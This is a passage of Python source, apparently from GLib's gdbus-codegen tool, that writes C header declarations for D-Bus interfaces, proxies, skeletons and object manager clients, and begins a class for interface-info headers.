) self.outfile.write( "#define %s%s_GET_IFACE(o) (G_TYPE_INSTANCE_GET_INTERFACE ((o), %sTYPE_%s, %sIface))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write("\n") self.outfile.write("struct _%s;\n" % (i.camel_name)) self.outfile.write( "typedef struct _%s %s;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "typedef struct _%sIface %sIface;\n" % (i.camel_name, i.camel_name) ) self.outfile.write("\n") self.outfile.write("struct _%sIface\n" % (i.camel_name)) self.outfile.write("{\n") self.outfile.write(" GTypeInterface parent_iface;\n") function_pointers = {} # vfuncs for methods if len(i.methods) > 0: self.outfile.write("\n") for m in i.methods: key = (m.since, "_method_%s" % m.name_lower) value = " gboolean (*handle_%s) (\n" % (m.name_lower) value += " %s *object,\n" % (i.camel_name) value += " GDBusMethodInvocation *invocation" if m.unix_fd: value += ",\n GUnixFDList *fd_list" for a in m.in_args: value += ",\n %sarg_%s" % (a.ctype_in, a.name) value += ");\n\n" function_pointers[key] = value # vfuncs for signals if len(i.signals) > 0: self.outfile.write("\n") for s in i.signals: key = (s.since, "_signal_%s" % s.name_lower) value = " void (*%s) (\n" % (s.name_lower) value += " %s *object" % (i.camel_name) for a in s.args: value += ",\n %sarg_%s" % (a.ctype_in, a.name) value += ");\n\n" function_pointers[key] = value # vfuncs for properties if len(i.properties) > 0: self.outfile.write("\n") for p in i.properties: key = (p.since, "_prop_get_%s" % p.name_lower) value = " %s (*get_%s) (%s *object);\n\n" % ( p.arg.ctype_in, p.name_lower, i.camel_name, ) function_pointers[key] = value # Sort according to @since tag, then name.. this ensures # that the function pointers don't change order assuming # judicious use of @since # # Also use a proper version comparison function so e.g. # 10.0 comes after 2.0. # # See https://bugzilla.gnome.org/show_bug.cgi?id=647577#c5 # for discussion for key in sorted(function_pointers.keys(), key=utils.version_cmp_key): self.outfile.write("%s" % function_pointers[key]) self.outfile.write("};\n") self.outfile.write("\n") if self.generate_autocleanup == "all": self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%s, g_object_unref)\n" % (i.camel_name) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %s_get_type (void) G_GNUC_CONST;\n" % (i.name_lower) ) self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GDBusInterfaceInfo *%s_interface_info (void);\n" % (i.name_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "guint %s_override_properties (GObjectClass *klass, guint property_id_begin);\n" % (i.name_lower) ) self.outfile.write("\n") # Then method call completion functions if len(i.methods) > 0: self.outfile.write("\n") self.outfile.write("/* D-Bus method call completion functions: */\n") for m in i.methods: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if m.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_complete_%s (\n" " %s *object,\n" " GDBusMethodInvocation *invocation" % (i.name_lower, m.name_lower, i.camel_name) ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") for a in m.out_args: self.outfile.write(",\n %s%s" % (a.ctype_in, a.name)) self.outfile.write(");\n") self.outfile.write("\n") self.outfile.write("\n") # Then signal emission functions if len(i.signals) > 0: self.outfile.write("\n") self.outfile.write("/* D-Bus signal emissions functions: */\n") for s in i.signals: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if s.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_emit_%s (\n" " %s *object" % (i.name_lower, s.name_lower, i.camel_name) ) for a in s.args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) self.outfile.write(");\n") self.outfile.write("\n") self.outfile.write("\n") # Then method call declarations if len(i.methods) > 0: self.outfile.write("\n") self.outfile.write("/* D-Bus method calls: */\n") for m in i.methods: # async begin if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if m.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_call_%s (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) if self.glib_min_required >= (2, 64): self.outfile.write( ",\n GDBusCallFlags call_flags" ",\n gint timeout_msec" ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") self.outfile.write( ",\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data);\n" ) self.outfile.write("\n") # async finish if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if m.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "gboolean %s_call_%s_finish (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.out_args: self.outfile.write(",\n %sout_%s" % (a.ctype_out, a.name)) if m.unix_fd: self.outfile.write(",\n GUnixFDList **out_fd_list") self.outfile.write( ",\n" " GAsyncResult *res,\n" " GError **error);\n" ) self.outfile.write("\n") # sync if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if m.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "gboolean %s_call_%s_sync (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) if self.glib_min_required >= (2, 64): self.outfile.write( ",\n GDBusCallFlags call_flags" ",\n gint timeout_msec" ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") for a in m.out_args: self.outfile.write(",\n %sout_%s" % (a.ctype_out, a.name)) if m.unix_fd: self.outfile.write(",\n GUnixFDList **out_fd_list") self.outfile.write( ",\n" " GCancellable *cancellable,\n" " GError **error);\n" ) self.outfile.write("\n") self.outfile.write("\n") # Then the property accessor declarations if len(i.properties) > 0: self.outfile.write("\n") self.outfile.write("/* D-Bus property accessors: */\n") for p in i.properties: # getter if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if p.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s%s_get_%s (%s *object);\n" % (p.arg.ctype_in, i.name_lower, p.name_lower, i.camel_name) ) if p.arg.free_func is not None: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if p.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s%s_dup_%s (%s *object);\n" % ( p.arg.ctype_in_dup, i.name_lower, p.name_lower, i.camel_name, ) ) # setter if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if p.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_set_%s (%s *object, %svalue);\n" % (i.name_lower, p.name_lower, i.camel_name, p.arg.ctype_in) ) self.outfile.write("\n") # Then the proxy self.outfile.write("\n") self.outfile.write("/* ---- */\n") self.outfile.write("\n") self.outfile.write( "#define %sTYPE_%s_PROXY (%s_proxy_get_type ())\n" % (i.ns_upper, i.name_upper, i.name_lower) ) self.outfile.write( "#define %s%s_PROXY(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_%s_PROXY, %sProxy))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %s%s_PROXY_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), %sTYPE_%s_PROXY, %sProxyClass))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %s%s_PROXY_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), %sTYPE_%s_PROXY, %sProxyClass))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %sIS_%s_PROXY(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_%s_PROXY))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper) ) self.outfile.write( "#define %sIS_%s_PROXY_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), %sTYPE_%s_PROXY))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper) ) self.outfile.write("\n") self.outfile.write( "typedef struct _%sProxy %sProxy;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "typedef struct _%sProxyClass %sProxyClass;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "typedef struct _%sProxyPrivate %sProxyPrivate;\n" % (i.camel_name, i.camel_name) ) self.outfile.write("\n") self.outfile.write("struct _%sProxy\n" % (i.camel_name)) self.outfile.write("{\n") self.outfile.write(" /*< private >*/\n") self.outfile.write(" GDBusProxy parent_instance;\n") self.outfile.write(" %sProxyPrivate *priv;\n" % (i.camel_name)) self.outfile.write("};\n") self.outfile.write("\n") self.outfile.write("struct _%sProxyClass\n" % (i.camel_name)) self.outfile.write("{\n") self.outfile.write(" GDBusProxyClass parent_class;\n") self.outfile.write("};\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %s_proxy_get_type (void) G_GNUC_CONST;\n" % (i.name_lower) ) self.outfile.write("\n") if self.generate_autocleanup in ("objects", "all"): self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sProxy, g_object_unref)\n" % (i.camel_name) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_proxy_new (\n" " GDBusConnection *connection,\n" " GDBusProxyFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data);\n" % (i.name_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%s_proxy_new_finish (\n" " GAsyncResult *res,\n" " GError **error);\n" % (i.camel_name, i.name_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%s_proxy_new_sync (\n" " GDBusConnection *connection,\n" " GDBusProxyFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GError **error);\n" % (i.camel_name, i.name_lower) ) self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %s_proxy_new_for_bus (\n" " GBusType bus_type,\n" " GDBusProxyFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data);\n" % (i.name_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%s_proxy_new_for_bus_finish (\n" " GAsyncResult *res,\n" " GError **error);\n" % (i.camel_name, i.name_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%s_proxy_new_for_bus_sync (\n" " GBusType bus_type,\n" " GDBusProxyFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GError **error);\n" % (i.camel_name, i.name_lower) ) self.outfile.write("\n") # Then the skeleton self.outfile.write("\n") self.outfile.write("/* ---- */\n") self.outfile.write("\n") self.outfile.write( "#define %sTYPE_%s_SKELETON (%s_skeleton_get_type ())\n" % (i.ns_upper, i.name_upper, i.name_lower) ) self.outfile.write( "#define %s%s_SKELETON(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_%s_SKELETON, %sSkeleton))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %s%s_SKELETON_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), %sTYPE_%s_SKELETON, %sSkeletonClass))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %s%s_SKELETON_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), %sTYPE_%s_SKELETON, %sSkeletonClass))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper, i.camel_name) ) self.outfile.write( "#define %sIS_%s_SKELETON(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_%s_SKELETON))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper) ) self.outfile.write( "#define %sIS_%s_SKELETON_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), %sTYPE_%s_SKELETON))\n" % (i.ns_upper, i.name_upper, i.ns_upper, i.name_upper) ) self.outfile.write("\n") self.outfile.write( "typedef struct _%sSkeleton %sSkeleton;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "typedef struct _%sSkeletonClass %sSkeletonClass;\n" % (i.camel_name, i.camel_name) ) self.outfile.write( "typedef struct _%sSkeletonPrivate %sSkeletonPrivate;\n" % (i.camel_name, i.camel_name) ) self.outfile.write("\n") self.outfile.write("struct _%sSkeleton\n" % (i.camel_name)) self.outfile.write("{\n") self.outfile.write(" /*< private >*/\n") self.outfile.write(" GDBusInterfaceSkeleton parent_instance;\n") self.outfile.write(" %sSkeletonPrivate *priv;\n" % (i.camel_name)) self.outfile.write("};\n") self.outfile.write("\n") self.outfile.write("struct _%sSkeletonClass\n" % (i.camel_name)) self.outfile.write("{\n") self.outfile.write(" GDBusInterfaceSkeletonClass parent_class;\n") self.outfile.write("};\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %s_skeleton_get_type (void) G_GNUC_CONST;\n" % (i.name_lower) ) self.outfile.write("\n") if self.generate_autocleanup in ("objects", "all"): self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sSkeleton, g_object_unref)\n" % (i.camel_name) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%s_skeleton_new (void);\n" % (i.camel_name, i.name_lower) ) self.outfile.write("\n") # Finally, the Object, ObjectProxy, ObjectSkeleton and ObjectManagerClient if self.generate_objmanager: self.outfile.write("\n") self.outfile.write("/* ---- */\n") self.outfile.write("\n") self.outfile.write( "#define %sTYPE_OBJECT (%sobject_get_type ())\n" % (self.ns_upper, self.ns_lower) ) self.outfile.write( "#define %sOBJECT(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_OBJECT, %sObject))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sIS_OBJECT(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_OBJECT))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write( "#define %sOBJECT_GET_IFACE(o) (G_TYPE_INSTANCE_GET_INTERFACE ((o), %sTYPE_OBJECT, %sObject))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write("\n") self.outfile.write("struct _%sObject;\n" % (self.namespace)) self.outfile.write( "typedef struct _%sObject %sObject;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectIface %sObjectIface;\n" % (self.namespace, self.namespace) ) self.outfile.write("\n") self.outfile.write("struct _%sObjectIface\n" % (self.namespace)) self.outfile.write("{\n" " GTypeInterface parent_iface;\n" "};\n" "\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %sobject_get_type (void) G_GNUC_CONST;\n" "\n" % (self.ns_lower) ) if self.generate_autocleanup == "all": self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sObject, g_object_unref)\n" % (self.namespace) ) self.outfile.write("#endif\n") self.outfile.write("\n") for i in self.ifaces: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%sobject_get_%s (%sObject *object);\n" % ( i.camel_name, self.ns_lower, i.name_upper.lower(), self.namespace, ) ) for i in self.ifaces: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "%s *%sobject_peek_%s (%sObject *object);\n" % ( i.camel_name, self.ns_lower, i.name_upper.lower(), self.namespace, ) ) self.outfile.write("\n") self.outfile.write( "#define %sTYPE_OBJECT_PROXY (%sobject_proxy_get_type ())\n" % (self.ns_upper, self.ns_lower) ) self.outfile.write( "#define %sOBJECT_PROXY(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_OBJECT_PROXY, %sObjectProxy))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_PROXY_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), %sTYPE_OBJECT_PROXY, %sObjectProxyClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_PROXY_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), %sTYPE_OBJECT_PROXY, %sObjectProxyClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sIS_OBJECT_PROXY(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_OBJECT_PROXY))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write( "#define %sIS_OBJECT_PROXY_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), %sTYPE_OBJECT_PROXY))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write("\n") self.outfile.write( "typedef struct _%sObjectProxy %sObjectProxy;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectProxyClass %sObjectProxyClass;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectProxyPrivate %sObjectProxyPrivate;\n" % (self.namespace, self.namespace) ) self.outfile.write("\n") self.outfile.write("struct _%sObjectProxy\n" % (self.namespace)) self.outfile.write("{\n") self.outfile.write(" /*< private >*/\n") self.outfile.write(" GDBusObjectProxy parent_instance;\n") self.outfile.write(" %sObjectProxyPrivate *priv;\n" % (self.namespace)) self.outfile.write("};\n") self.outfile.write("\n") self.outfile.write("struct _%sObjectProxyClass\n" % (self.namespace)) self.outfile.write("{\n") self.outfile.write(" GDBusObjectProxyClass parent_class;\n") self.outfile.write("};\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %sobject_proxy_get_type (void) G_GNUC_CONST;\n" % (self.ns_lower) ) self.outfile.write("\n") if self.generate_autocleanup in ("objects", "all"): self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sObjectProxy, g_object_unref)\n" % (self.namespace) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "%sObjectProxy *%sobject_proxy_new (GDBusConnection *connection, const gchar *object_path);\n" % (self.namespace, self.ns_lower) ) self.outfile.write("\n") self.outfile.write( "#define %sTYPE_OBJECT_SKELETON (%sobject_skeleton_get_type ())\n" % (self.ns_upper, self.ns_lower) ) self.outfile.write( "#define %sOBJECT_SKELETON(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_OBJECT_SKELETON, %sObjectSkeleton))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_SKELETON_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), %sTYPE_OBJECT_SKELETON, %sObjectSkeletonClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_SKELETON_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), %sTYPE_OBJECT_SKELETON, %sObjectSkeletonClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sIS_OBJECT_SKELETON(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_OBJECT_SKELETON))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write( "#define %sIS_OBJECT_SKELETON_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), %sTYPE_OBJECT_SKELETON))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write("\n") self.outfile.write( "typedef struct _%sObjectSkeleton %sObjectSkeleton;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectSkeletonClass %sObjectSkeletonClass;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectSkeletonPrivate %sObjectSkeletonPrivate;\n" % (self.namespace, self.namespace) ) self.outfile.write("\n") self.outfile.write("struct _%sObjectSkeleton\n" % (self.namespace)) self.outfile.write("{\n") self.outfile.write(" /*< private >*/\n") self.outfile.write(" GDBusObjectSkeleton parent_instance;\n") self.outfile.write(" %sObjectSkeletonPrivate *priv;\n" % (self.namespace)) self.outfile.write("};\n") self.outfile.write("\n") self.outfile.write("struct _%sObjectSkeletonClass\n" % (self.namespace)) self.outfile.write("{\n") self.outfile.write(" GDBusObjectSkeletonClass parent_class;\n") self.outfile.write("};\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %sobject_skeleton_get_type (void) G_GNUC_CONST;\n" % (self.ns_lower) ) self.outfile.write("\n") if self.generate_autocleanup in ("objects", "all"): self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sObjectSkeleton, g_object_unref)\n" % (self.namespace) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "%sObjectSkeleton *%sobject_skeleton_new (const gchar *object_path);\n" % (self.namespace, self.ns_lower) ) for i in self.ifaces: if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) if i.deprecated: self.outfile.write("G_GNUC_DEPRECATED ") self.outfile.write( "void %sobject_skeleton_set_%s (%sObjectSkeleton *object, %s *interface_);\n" % ( self.ns_lower, i.name_upper.lower(), self.namespace, i.camel_name, ) ) self.outfile.write("\n") self.outfile.write("/* ---- */\n") self.outfile.write("\n") self.outfile.write( "#define %sTYPE_OBJECT_MANAGER_CLIENT (%sobject_manager_client_get_type ())\n" % (self.ns_upper, self.ns_lower) ) self.outfile.write( "#define %sOBJECT_MANAGER_CLIENT(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), %sTYPE_OBJECT_MANAGER_CLIENT, %sObjectManagerClient))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_MANAGER_CLIENT_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), %sTYPE_OBJECT_MANAGER_CLIENT, %sObjectManagerClientClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sOBJECT_MANAGER_CLIENT_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), %sTYPE_OBJECT_MANAGER_CLIENT, %sObjectManagerClientClass))\n" % (self.ns_upper, self.ns_upper, self.namespace) ) self.outfile.write( "#define %sIS_OBJECT_MANAGER_CLIENT(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), %sTYPE_OBJECT_MANAGER_CLIENT))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write( "#define %sIS_OBJECT_MANAGER_CLIENT_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), %sTYPE_OBJECT_MANAGER_CLIENT))\n" % (self.ns_upper, self.ns_upper) ) self.outfile.write("\n") self.outfile.write( "typedef struct _%sObjectManagerClient %sObjectManagerClient;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectManagerClientClass %sObjectManagerClientClass;\n" % (self.namespace, self.namespace) ) self.outfile.write( "typedef struct _%sObjectManagerClientPrivate %sObjectManagerClientPrivate;\n" % (self.namespace, self.namespace) ) self.outfile.write("\n") self.outfile.write("struct _%sObjectManagerClient\n" % (self.namespace)) self.outfile.write("{\n") self.outfile.write(" /*< private >*/\n") self.outfile.write(" GDBusObjectManagerClient parent_instance;\n") self.outfile.write( " %sObjectManagerClientPrivate *priv;\n" % (self.namespace) ) self.outfile.write("};\n") self.outfile.write("\n") self.outfile.write( "struct _%sObjectManagerClientClass\n" % (self.namespace) ) self.outfile.write("{\n") self.outfile.write(" GDBusObjectManagerClientClass parent_class;\n") self.outfile.write("};\n") self.outfile.write("\n") if self.generate_autocleanup in ("objects", "all"): self.outfile.write("#if GLIB_CHECK_VERSION(2, 44, 0)\n") self.outfile.write( "G_DEFINE_AUTOPTR_CLEANUP_FUNC (%sObjectManagerClient, g_object_unref)\n" % (self.namespace) ) self.outfile.write("#endif\n") self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %sobject_manager_client_get_type (void) G_GNUC_CONST;\n" % (self.ns_lower) ) self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GType %sobject_manager_client_get_proxy_type (GDBusObjectManagerClient *manager, const gchar *object_path, const gchar *interface_name, gpointer user_data);\n" % (self.ns_lower) ) self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "void %sobject_manager_client_new (\n" " GDBusConnection *connection,\n" " GDBusObjectManagerClientFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data);\n" % (self.ns_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GDBusObjectManager *%sobject_manager_client_new_finish (\n" " GAsyncResult *res,\n" " GError **error);\n" % (self.ns_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GDBusObjectManager *%sobject_manager_client_new_sync (\n" " GDBusConnection *connection,\n" " GDBusObjectManagerClientFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GError **error);\n" % (self.ns_lower) ) self.outfile.write("\n") if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "void %sobject_manager_client_new_for_bus (\n" " GBusType bus_type,\n" " GDBusObjectManagerClientFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data);\n" % (self.ns_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GDBusObjectManager *%sobject_manager_client_new_for_bus_finish (\n" " GAsyncResult *res,\n" " GError **error);\n" % (self.ns_lower) ) if self.symbol_decorator is not None: self.outfile.write("%s\n" % self.symbol_decorator) self.outfile.write( "GDBusObjectManager *%sobject_manager_client_new_for_bus_sync (\n" " GBusType bus_type,\n" " GDBusObjectManagerClientFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n" " GError **error);\n" % (self.ns_lower) ) self.outfile.write("\n") # ---------------------------------------------------------------------------------------------------- def generate_header_postamble(self): self.outfile.write("\n") self.outfile.write("G_END_DECLS\n") if not self.use_pragma: self.outfile.write("\n") self.outfile.write("#endif /* __{!s}__ */\n".format(self.header_guard)) # ---------------------------------------------------------------------------------------------------- def generate(self): self.generate_header_preamble() self.declare_types() self.generate_header_postamble() # ---------------------------------------------------------------------------------------------------- class InterfaceInfoHeaderCodeGenerator: def __init__( self, ifaces, namespace, header_name, input_files_basenames, use_pragma, glib_min_required, symbol_decorator, symbol_decorator_header, outfile, ): self.ifaces = ifaces self.namespace, self.ns_upper, self.ns_lower = generate_namespace(namespace) self.header_guard = generate_header_guard(header_name) self.input_files_basenames = input_files_basenames self.use_pragma = use_pragma self.glib_min_required = glib_min_required self.symbol_decorator = symbol_decorator if self.symbol_decorator is None: self.symbol_decorator = "" self.symbol_decorator_header = symbol_decorator_header self.outfile = outfile # ---------------------------------------------------------------------------------------------------- def generate_header_preamble(self): basenames = ", ".join(self.input_files_basenames) self.outfile.write(LICENSE_STR.format(config.VERSION, basenames)) self.outfile.write("\n") if self.use_pragma: self.outfile.write("#pragma once\n") else: self.outfile.write("#ifndef __{!s}__\n".format(self.header_guard)) self.outfile.write("#define __{!s}__\n".format(self.header_guard)) if self.symbol_decorator_header is not None: self.outfile.write("\n") self.outfile.write('#include "%s"\n' % self.symbol_decorator_header) self.outfile.write("\n") self.outfile.write("#include <gio/gio.h>\n") 